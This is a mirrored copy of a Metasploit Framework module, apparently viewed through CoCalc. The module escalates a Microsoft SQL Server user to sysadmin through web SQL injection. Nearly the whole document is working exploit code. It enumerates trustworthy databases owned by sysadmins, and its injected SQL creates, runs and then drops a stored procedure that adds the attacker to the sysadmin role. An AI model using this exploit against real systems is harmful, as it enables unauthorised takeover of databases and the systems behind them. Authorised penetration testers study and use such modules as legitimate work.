CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::MSSQL_SQLI
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',
14
'Description' => %q{
15
This module can be used to escalate SQL Server user privileges to sysadmin through a web
16
SQL Injection. In order to escalate, the database user must to have the db_owner role in
17
a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin
18
role, the mssql_payload_sqli module can be used to obtain a shell on the system.
19
20
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
21
},
22
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
23
'License' => MSF_LICENSE,
24
'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
25
))
26
end
27
28
def run
29
# Get the database user name
30
print_status("Grabbing the database user name from ...")
31
db_user = get_username
32
if db_user.nil?
33
print_error("Unable to grab user name...")
34
return
35
else
36
print_good("Database user: #{db_user}")
37
end
38
39
# Grab sysadmin status
40
print_status("Checking if #{db_user} is already a sysadmin...")
41
admin_status = check_sysadmin
42
43
if admin_status.nil?
44
print_error("Couldn't retrieve user status, aborting...")
45
return
46
elsif admin_status == '1'
47
print_error("#{db_user} is already a sysadmin, no esclation needed.")
48
return
49
else
50
print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
51
end
52
53
# Check for trusted databases owned by sysadmins
54
print_status("Checking for trusted databases owned by sysadmins...")
55
trust_db_list = check_trust_dbs
56
if trust_db_list.nil? || trust_db_list.length == 0
57
print_error("No databases owned by sysadmin were found flagged as trustworthy.")
58
return
59
else
60
# Display list of accessible databases to user
61
print_good("#{trust_db_list.length} affected database(s) were found:")
62
trust_db_list.each do |db|
63
print_status(" - #{db}")
64
end
65
end
66
67
# Check if the user has the db_owner role in any of the databases
68
print_status("Checking if #{db_user} has the db_owner role in any of them...")
69
owner_status = check_db_owner(trust_db_list)
70
if owner_status.nil?
71
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
72
return
73
else
74
print_good("#{db_user} has the db_owner role on #{owner_status}.")
75
end
76
77
# Attempt to escalate to sysadmin
78
print_status("Attempting to add #{db_user} to sysadmin role...")
79
escalate_privs(owner_status, db_user)
80
81
admin_status = check_sysadmin
82
if admin_status && admin_status == '1'
83
print_good("Success! #{db_user} is now a sysadmin!")
84
else
85
print_error("Fail buckets, something went wrong.")
86
end
87
end
88
89
def get_username
90
# Setup query to check for database username
91
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
92
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
93
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
94
95
# Run query
96
result = mssql_query(sql)
97
98
# Parse result
99
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
100
user_name = $1
101
else
102
user_name = nil
103
end
104
105
user_name
106
end
107
108
def check_sysadmin
109
# Setup query to check for sysadmin
110
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
111
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
112
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
113
114
# Run query
115
result = mssql_query(sql)
116
117
# Parse result
118
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
119
status = $1
120
else
121
status = nil
122
end
123
124
status
125
end
126
127
def check_trust_dbs
128
# Setup query to check for trusted databases owned by sysadmins
129
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
130
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
131
sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName
132
FROM sys.server_principals r
133
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
134
INNER JOIN sys.server_principals p ON
135
p.principal_id = m.member_principal_id
136
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
137
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
138
139
# Run query
140
res = mssql_query(sql)
141
142
unless res && res.body
143
return nil
144
end
145
146
# Parse results
147
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
148
149
if parsed_result && !parsed_result.empty?
150
parsed_result.flatten!
151
parsed_result.uniq!
152
end
153
154
print_status("#{parsed_result.inspect}")
155
156
parsed_result
157
end
158
159
def check_db_owner(trust_db_list)
160
# Check if the user has the db_owner role is any databases
161
trust_db_list.each do |db|
162
# Setup query
163
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
164
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
165
sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName
166
from [#{db}].sys.database_role_members drm
167
join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
168
join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
169
where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
170
171
# Run query
172
result = mssql_query(sql)
173
174
unless result && result.body
175
next
176
end
177
178
# Parse result
179
if result.body =~ /#{clue_start}([^>]*)#{clue_end}/
180
return $1
181
end
182
end
183
184
nil
185
end
186
187
# Attempt to escalate privileges
188
def escalate_privs(dbowner_db,db_user)
189
# Create the evil stored procedure WITH EXECUTE AS OWNER
190
evil_sql_create = "1;use #{dbowner_db};
191
DECLARE @myevil as varchar(max)
192
set @myevil = '
193
CREATE PROCEDURE sp_elevate_me
194
WITH EXECUTE AS OWNER
195
as
196
begin
197
EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
198
end';
199
exec(@myevil);--"
200
mssql_query(evil_sql_create)
201
202
# Run the evil stored procedure
203
evilsql_run = "1;use #{dbowner_db};
204
DECLARE @myevil2 as varchar(max)
205
set @myevil2 = 'EXEC sp_elevate_me'
206
exec(@myevil2);--"
207
mssql_query(evilsql_run)
208
209
# Remove evil procedure
210
evilsql_remove = "1;use #{dbowner_db};
211
DECLARE @myevil3 as varchar(max)
212
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
213
exec(@myevil3);--"
214
mssql_query(evilsql_remove)
215
end
216
end
217
218